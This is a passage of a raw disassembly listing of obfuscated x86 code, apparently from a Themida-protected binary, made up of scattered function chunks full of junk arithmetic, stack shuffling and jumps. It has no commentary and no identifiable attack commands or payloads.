loc_5994A6: ; CODE XREF: sub_5A28F6+405j
mov eax, 4778168Dh
sub eax, 47781689h
add ebp, eax
pop eax
add ebp, 4
jmp sub_597198
; END OF FUNCTION CHUNK FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_5994BE: ; CODE XREF: sub_592E1C+4CFAj
xor ebp, 4D803E3Bh
jmp loc_595877
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5994C9: ; CODE XREF: sub_5964AF-3AC2j
mov esi, ecx
pop ecx
jmp loc_5A3524
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5994D1: ; CODE XREF: sub_5A0BFE-FD41j
pop edx
push esi
mov esi, 4
add edi, esi
mov esi, [esp-4+arg_0]
add esp, 4
jmp loc_59D8EA
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_5994E8: ; CODE XREF: Themida_:0059DC8Fj
mov edi, 0B15767Dh
neg edi
jmp loc_592EC0
; ---------------------------------------------------------------------------
loc_5994F4: ; CODE XREF: Themida_:0059AD95j
mov bh, dl
pop edx
pop ecx
shl bh, 6
or bh, 72h
shr bh, 6
push ax
jmp loc_5A3CF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599508: ; CODE XREF: sub_59390B+28Aj
shl edx, 5
xor edx, 1000004h
push edx
jmp loc_5A3B68
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599517: ; CODE XREF: Themida_:005A3C7Fj
mov bl, ch
jmp loc_59D190
; ---------------------------------------------------------------------------
loc_59951E: ; CODE XREF: Themida_:00596FD7j
pop esp
jmp loc_5A5B9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599524: ; CODE XREF: sub_59390B+59B7j
xchg edx, [esp+0]
jmp loc_5A3062
; ---------------------------------------------------------------------------
loc_59952C: ; CODE XREF: sub_59390B+BE0Cj
pop edx
add ebx, 18781B1Eh
sub ebx, edi
push edi
mov edi, 18781B1Eh
sub ebx, edi
pop edi
add ebx, 9332AFFh
pop edi
push 82Dh
mov [esp-8+arg_0], ebp
mov ebp, 480C637Ch
add ebx, 6B842E6Dh
add ebx, ebp
sub ebx, 6B842E6Dh
pop ebp
jmp loc_59FD11
; ---------------------------------------------------------------------------
loc_599566: ; CODE XREF: sub_59390B+3DFAj
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp-0Ch+arg_4]
pop esp
and eax, edx
jmp loc_5A25C5
; ---------------------------------------------------------------------------
loc_59957F: ; CODE XREF: sub_59390B+2942j
sub esi, edi
pop edi
xchg esi, [esp+4+var_4]
pop esp
mov [esp+0], esi
mov esi, 6B0B4695h
push 143h
mov [esp+4+var_4], edx
push ebp
mov ebp, 0EE8C1A9Ch
mov edx, ebp
pop ebp
add esi, edx
pop edx
mov ecx, esi
push dword ptr [esp+0]
pop esi
add esp, 4
add eax, 4A4233DDh
jmp loc_5A01FF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A072
loc_5995B5: ; CODE XREF: sub_59A072+2Ej
mov ebp, [esp+0]
add esp, 4
add esi, edi
sub esi, 486636B3h
pop edi
or [edi+1Ch], esi
pop esi
jmp loc_5A1E47
; END OF FUNCTION CHUNK FOR sub_59A072
; ---------------------------------------------------------------------------
loc_5995D0: ; CODE XREF: Themida_:00598F23j
add eax, esi
pop esi
add eax, 2
push eax
jmp loc_59AB68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5995DE: ; CODE XREF: sub_59390B+6044j
xor [esp+0], eax
jmp loc_5A0914
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5995E6: ; CODE XREF: Themida_:0059A68Dj
pop ebp
add esp, 4
push eax
mov eax, 2757298Ah
sub [esp+8], eax
jmp loc_59A5A7
; =============== S U B R O U T I N E =======================================
sub_5995FC proc near ; CODE XREF: sub_59667F+5D08j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005912C8 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00592E41 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594B44 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596121 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005967C7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059D53C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DE29 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0FD4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1439 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2A02 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4781 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov bl, 4
xor bl, 0BDh
push eax
jmp loc_5A2A02
sub_5995FC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59960D: ; CODE XREF: sub_59390B-B45j
pop esp
shr edi, 7
inc edi
jmp loc_599802
; ---------------------------------------------------------------------------
loc_599617: ; CODE XREF: sub_59390B+EBAj
push edi
dec [esp-0Eh+arg_4+2]
pop edi
jmp loc_5A352B
; ---------------------------------------------------------------------------
loc_599621: ; CODE XREF: sub_59390B+1E88j
sub ebp, edi
pop edi
sub edx, 6C1A6A53h
add edx, ebp
push ecx
jmp loc_598791
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599632: ; CODE XREF: Themida_:0059AABEj
mov cl, 0F2h
jmp loc_59657B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_599639: ; CODE XREF: sub_59A4D6+809Bj
add ebx, 557275EEh
pop esi
xchg ebx, [esp+0Ch+var_C]
pop esp
push 68F2h
mov [esp+0Ch+var_C], edi
jmp loc_5A2ECF
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_599651: ; CODE XREF: sub_594A8D+874Aj
add edi, 68B414DDh
jmp loc_5978DC
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59965C: ; CODE XREF: sub_59390B+EE8Ej
push edx
push 1F3432F8h
pop edx
push ebx
mov ebx, 5A6F408Bh
add esi, ebx
jmp loc_59D24E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_599670: ; CODE XREF: sub_5A085D-1A1Bj
xor edi, [esp+4+var_6+2]
xor [esp+4+var_6+2], edi
xor edi, [esp+4+var_6+2]
mov esp, [esp+4+var_6+2]
push 52CCh
mov [esp-8+arg_4], ecx
push edx
push eax
mov al, 4Bh
jmp loc_595552
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_59968D: ; CODE XREF: sub_5A0BFE-FAD6j
add esp, 4
add ebp, 454469Fh
push esi
mov esi, 72140F67h
add esi, 0D6F52394h
jmp loc_591CF4
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_5996AA: ; CODE XREF: Themida_:005A469Dj
pop eax
sub esp, 4
mov [esp], edi
jmp loc_5A25A7
; ---------------------------------------------------------------------------
loc_5996B6: ; DATA XREF: Themida_:005907D4o
mov ax, [esp]
push ebx
push esp
jmp loc_5943BA
; ---------------------------------------------------------------------------
loc_5996C1: ; CODE XREF: Themida_:005A386Aj
mov [esp], edx
mov edx, 9C5CE7h
sub esi, edx
mov edx, [esp]
jmp loc_59903C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5996D3: ; CODE XREF: sub_59390B+B555j
xchg eax, [esp+10h+var_10]
pop esp
xor [esp+0Ch+var_C], edx
jmp loc_59A692
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5996DF: ; CODE XREF: Themida_:005936B3j
xor ecx, 2E7B5133h
add eax, ecx
jmp loc_5A1E93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5996EC: ; CODE XREF: sub_59390B+642Aj
mov [esp+0Ch+var_C], edx
jmp loc_591A13
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5996F4: ; CODE XREF: sub_5932F7+2j
mov esi, 954043Eh
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 56E842ACh
and esi, ebp
pop ebp
shr esi, 1
shr esi, 2
jmp loc_595A89
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_599714: ; CODE XREF: sub_5A2801+2654j
push [esp+8+var_8]
jmp loc_59BEE0
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59971C: ; CODE XREF: sub_59390B+ECF6j
add edx, 4
xor edx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edx
xor edx, [esp+0Ch+var_C]
pop esp
add esp, 4
pop [esp+4+var_4]
pop esp
jmp loc_5A46EC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599735: ; CODE XREF: Themida_:0059E0FEj
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_59AE99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CF38
loc_59974D: ; CODE XREF: sub_59CF38-7390j
inc ebx
dec ebx
xor ebx, 2FC652DEh
jmp loc_593C29
; END OF FUNCTION CHUNK FOR sub_59CF38
; ---------------------------------------------------------------------------
loc_59975A: ; CODE XREF: Themida_:0059B677j
pop ecx
not edi
and edi, 1BA43FEAh
sub edi, 6190643Fh
xor edi, 9F6F9BE0h
add ecx, edi
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59FD5B
; ---------------------------------------------------------------------------
loc_599785: ; CODE XREF: Themida_:0059C261j
not esi
xor esi, 6163149Eh
jmp loc_59EB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599792: ; CODE XREF: sub_59390B+C386j
xchg edi, [esp+0]
jmp loc_599E0A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59979A: ; CODE XREF: Themida_:0059C2FCj
push eax
mov eax, 6C2A0221h
push eax
jmp loc_59EFE6
; ---------------------------------------------------------------------------
loc_5997A6: ; CODE XREF: Themida_:0059E913j
add dh, 0A5h
add ch, dh
pop edx
jmp loc_5985E3
; ---------------------------------------------------------------------------
loc_5997B1: ; CODE XREF: Themida_:0059C6A7j
push ebx
mov bl, ch
mov dl, bl
jmp loc_591868
; ---------------------------------------------------------------------------
loc_5997BB: ; CODE XREF: Themida_:0059E812j
sub eax, 53707668h
sub eax, edi
push ebp
mov ebp, 53707668h
add eax, ebp
pop ebp
mov edi, [esp]
add esp, 4
push ebp
push esi
jmp loc_5A2F68
; ---------------------------------------------------------------------------
loc_5997DB: ; CODE XREF: Themida_:00595109j
pop ebp
push small word ptr [eax]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5997E4: ; DATA XREF: Themida_:005909CCo
lodsd
cmp dword ptr [edi+20h], 0
jz loc_5A1E52
push eax
mov eax, 0C1A4DB7h
add eax, 1A78DA6Eh
add esi, eax
pop eax
jmp loc_5A1348
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599802: ; CODE XREF: sub_59390B+5D07j
push 7C9Bh
mov [esp-18h+arg_10], ebp
jmp loc_59BD81
; ---------------------------------------------------------------------------
loc_59980F: ; CODE XREF: sub_59390B+1B4Cj
xor ax, 2733h
sub ax, 0AD47h
sub bp, ax
mov eax, [esp-26h+arg_1C+2]
add esp, 4
add bp, 3F18h
xor di, bp
pop bp
sub ax, di
pop edi
push small 6473h
jmp loc_59762A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599837: ; CODE XREF: Themida_:0059B027j
add esp, 4
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599842: ; CODE XREF: sub_59390B+A98j
push eax
mov eax, 4
jmp loc_59CBE0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59984D: ; CODE XREF: Themida_:0059C0BDj
push ebp
mov ebp, 10CA03B6h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
sub ebx, 6F836E81h
not ebx
jmp loc_59C151
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59986B: ; CODE XREF: sub_59918B+9435j
pop ebp
sub esp, 4
jmp loc_5A2DDB
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_599877: ; CODE XREF: sub_594A8D-3724j
pop edi
jmp loc_59B2CB
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_59987D: ; CODE XREF: Themida_:00591120j
inc eax
jmp loc_59868C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_599883: ; CODE XREF: sub_5964AF+E2EEj
mov [esp-0Ch+arg_8], edx
sub esp, 4
jmp loc_59D0F0
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3EFB
loc_59988E: ; CODE XREF: sub_5A3EFB-9D79j
pop ebp
add [esp+arg_0], edx
mov edx, [esp+0]
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A3EFB
; ---------------------------------------------------------------------------
loc_5998A1: ; CODE XREF: Themida_:005A1730j
or edi, 686709E4h
or edi, 2DC17F93h
shr edi, 1
push edx
mov edx, 0E32B2F59h
sub edi, edx
jmp loc_5A2676
; ---------------------------------------------------------------------------
loc_5998BC: ; CODE XREF: Themida_:0059DBDFj
xchg esi, edi
jmp loc_59C9D8
; ---------------------------------------------------------------------------
loc_5998C3: ; CODE XREF: Themida_:005A33ACj
sub edi, 28B444E8h
sub edi, 5A630F88h
pop edx
sub esp, 4
jmp loc_5A1499
; ---------------------------------------------------------------------------
loc_5998D8: ; CODE XREF: Themida_:00591A57j
mov [esp], ebp
push 4
pop ebp
push ebx
mov ebx, 46F7741h
jmp loc_59C349
; ---------------------------------------------------------------------------
loc_5998EC: ; CODE XREF: Themida_:005A4B9Dj
xor esi, 5E171FE8h
sub edx, esi
mov esi, [esp]
add esp, 4
add edx, eax
add edx, 22613F2Dh
push 7C8h
mov [esp], ebp
push ebx
mov ebx, 24BA4DAEh
push eax
mov eax, 44B3269Dh
jmp loc_59DE3E
; ---------------------------------------------------------------------------
loc_59991E: ; CODE XREF: Themida_:00596C1Dj
mov [esp], edi
mov edi, 38D41BF7h
add edi, 0C72BE40Bh
jmp loc_5A54D9
; ---------------------------------------------------------------------------
loc_599931: ; CODE XREF: Themida_:005A1545j
pop ebp
push edx
mov edx, 2F9146C6h
shl edx, 4
push eax
jmp loc_5A3B57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599941: ; CODE XREF: sub_59390B+221j
add eax, edi
mov edi, [esp-0Ch+arg_4]
add esp, 4
xor eax, [esp-10h+arg_8]
jmp loc_5995DE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599954: ; CODE XREF: Themida_:00599BC8j
xor edi, 26524308h
jmp loc_59D3B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_59995F: ; CODE XREF: sub_5A21DE-6277j
sub edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
jmp loc_59D014
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59997D: ; CODE XREF: sub_59390B+95CEj
xor edx, eax
pop eax
sub edx, 1
not edx
jmp loc_59B727
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59998D: ; CODE XREF: Themida_:0059E9CCj
push eax
mov eax, 76EE1F67h
or eax, 3C5D4A59h
and eax, 3E0B471Fh
neg eax
jmp loc_594BA0
; =============== S U B R O U T I N E =======================================
sub_5999A4 proc near ; CODE XREF: sub_59390B+1117Dj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00597CA1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C366 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CAC4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A050D SIZE 0000004E BYTES
; FUNCTION CHUNK AT 005A48A2 SIZE 00000011 BYTES
push ebx
mov ebx, 56044C50h
xor eax, ebx
pop ebx
jmp loc_59CAC4
sub_5999A4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5999B2: ; CODE XREF: sub_59F4E7+1637j
pop [esp-4+arg_0]
pop esp
jmp loc_5955FA
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
loc_5999BB: ; CODE XREF: Themida_:00599BD5j
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5999D4: ; CODE XREF: sub_59390B+F538j
push 75EBh
mov [esp-10h+arg_8], edx
mov edx, 4
jmp loc_591B9E
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5999E6 proc near ; CODE XREF: sub_5A58F3-8C40j
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00597998 SIZE 00000066 BYTES
push ebx
mov ebx, 758F2FCEh
and ebp, ebx
pop ebx
push ebx
mov ebx, 266454CBh
sub ebp, ebx
pop ebx
xor ebp, 0C44CD2DEh
jmp loc_597998
sub_5999E6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_599A03: ; CODE XREF: Themida_:00596987j
mov edx, 25813EB2h
jmp loc_593BA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599A0D: ; CODE XREF: sub_59390B-2B0Cj
neg ebp
not ebp
inc ebp
add ebp, 229B1ABDh
and ebp, 0AE03E73h
add ebp, 0FFFFFFFFh
xor ebp, 438B52D5h
xor ebp, 32771CBDh
inc ebp
sub ebp, 791C7E17h
add ebx, ebp
jmp loc_5A1E10
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_599A3B: ; CODE XREF: sub_59654E+6A7j
pop ecx
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov [esp+4+var_4], ebx
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_5A428D
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_599A5F: ; CODE XREF: sub_590BDF+7A43j
push edx
mov edx, esp
add edx, 4
jmp sub_591D35
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
loc_599A6D: ; CODE XREF: Themida_:005A235Cj
push esp
jmp loc_5939A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599A73: ; CODE XREF: sub_59390B+8793j
add esi, 17FD48EEh
jmp loc_59B9ED
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_599A7E: ; CODE XREF: sub_59F53F-C9E8j
mov edi, ebp
pop ebp
neg edi
add edi, 0FFFFFFFFh
jmp loc_59B8CD
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_599A8B: ; CODE XREF: sub_59338E+2BC7j
xchg eax, [esp+0Ch+var_C]
pop esp
jmp loc_59677E
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599A94: ; CODE XREF: sub_59390B+E2EBj
xchg esi, [esp+0]
mov esp, [esp+0]
jmp sub_5A2552
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599A9F: ; CODE XREF: Themida_:0059DB46j
pop esi
sub esp, 4
mov [esp], ecx
push esi
mov esi, eax
mov ecx, esi
jmp loc_5A1F15
; ---------------------------------------------------------------------------
loc_599AB3: ; CODE XREF: Themida_:00598B6Aj
xor edi, 193373D5h
xor edx, edi
pop edi
sub edx, 60393FA1h
and edx, 612E0A6Bh
push esi
mov esi, 547C6A84h
jmp loc_59B84C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_599AD3: ; CODE XREF: sub_5A0733-544Cj
push dword ptr [esp+0]
pop eax
push 37F5h
jmp loc_59CD67
; END OF FUNCTION CHUNK FOR sub_5A0733
; =============== S U B R O U T I N E =======================================
sub_599AE1 proc near ; DATA XREF: Themida_:005909A8o
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 005919A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591F68 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593657 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005944B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594F29 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595164 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596017 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596DB9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598CF8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A203 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B5E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C519 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D37A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D4CB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059D55E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059DDCB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059EC7C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A069F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A13DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A154A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A1FB8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A26BC SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A2997 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2BC6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3C18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3DBA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3EEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4E5A SIZE 00000014 BYTES
lodsd
push edi
mov edi, 7CDC3675h
jmp loc_59C519
sub_599AE1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_599AED: ; CODE XREF: sub_59FD45-401Fj
add ebp, 4
jmp loc_5917A9
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599AF5: ; CODE XREF: sub_59390B+F61Ej
pop ebx
push edi
mov edi, 4
add ebx, edi
jmp loc_5A4F5D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_599B03: ; CODE XREF: sub_5950DF+F51Fj
add esi, 4
sub esi, 4
xchg esi, [esp-4+arg_0]
pop esp
mov [esp+0], edi
jmp loc_592D97
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599B1B: ; CODE XREF: sub_59390B+E7A9j
mov ebx, 79E2005Dh
push esi
mov esi, 7FBD30BCh
xor esi, 720A79CEh
jmp loc_5952FF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599B31: ; CODE XREF: Themida_:0059AF33j
push eax
pop ebp
mov eax, [esp]
add esp, 4
jmp loc_592EE6
; ---------------------------------------------------------------------------
loc_599B41: ; CODE XREF: Themida_:0059A752j
pop ebp
not ebp
jmp loc_59689D
; ---------------------------------------------------------------------------
loc_599B49: ; CODE XREF: Themida_:00594418j
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_599B5D: ; CODE XREF: sub_5A23FB-7FCFj
pop ebp
jmp loc_59D25A
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_599B63: ; CODE XREF: sub_595949+445Aj
mov dh, ch
mov [edi+eax*4], dh
pop edx
push [esp+4+var_4]
jmp loc_5A08AD
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_599B71: ; CODE XREF: sub_5971C0-147Fj
pop ebx
jmp loc_59D19B
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599B77: ; CODE XREF: sub_59390B+98AEj
mov [esp+4+var_4], esi
mov si, 7428h
jmp loc_59B187
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599B83: ; CODE XREF: Themida_:005A351Fj
mov edx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
add [esp], eax
sub esp, 4
mov [esp], ecx
jmp loc_5A15F1
; ---------------------------------------------------------------------------
loc_599BAF: ; CODE XREF: Themida_:00591C88j
mov eax, 6DC24538h
sub esp, 4
mov [esp], edi
mov edi, 68F43A08h
sub edi, 67A27881h
jmp loc_599954
; ---------------------------------------------------------------------------
loc_599BCD: ; CODE XREF: Themida_:0059E549j
sub edx, edi
pop edi
add ebp, edx
mov edx, [esp]
jmp loc_5999BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_599BDA: ; CODE XREF: sub_59CFD4-A1BDj
push 36EBh
mov [esp+8+var_8], ecx
mov ecx, 2000000h
push ebx
jmp loc_595BD0
; ---------------------------------------------------------------------------
loc_599BED: ; CODE XREF: sub_59CFD4+65D2j
pop ebp
push esi
mov esi, esp
jmp loc_5A0A4A
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_599BF6: ; CODE XREF: sub_59A431-318j
mov ecx, 4
push ecx
mov ecx, 29DF605Ah
jmp loc_594543
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_599C06: ; CODE XREF: Themida_:005943C0j
push ecx
jmp loc_593308
; ---------------------------------------------------------------------------
loc_599C0C: ; CODE XREF: Themida_:0059FAFAj
not ecx
add ecx, 0D0E14411h
add eax, ecx
pop ecx
jmp loc_59FE56
; ---------------------------------------------------------------------------
loc_599C1C: ; CODE XREF: Themida_:005962D9j
mov edi, [esp]
add esp, 4
push esi
mov esi, 49006570h
sub esi, 3F19779Dh
jmp loc_59A11E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599C33: ; CODE XREF: sub_59390B+120D9j
mov [esp+4+var_4], esi
jmp loc_594809
; ---------------------------------------------------------------------------
loc_599C3B: ; CODE XREF: sub_59390B+F5F9j
mov esi, 5ACB21E0h
dec esi
add esi, 0DC8F13Fh
sub edx, esi
pop esi
add edx, esi
add edx, 6894131Eh
pop esi
sub esp, 4
mov [esp+0], eax
push esp
jmp loc_5A4F94
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_599C62: ; CODE XREF: sub_59A75E-59A6j
or edx, 7C877FCBh
add edx, 56464956h
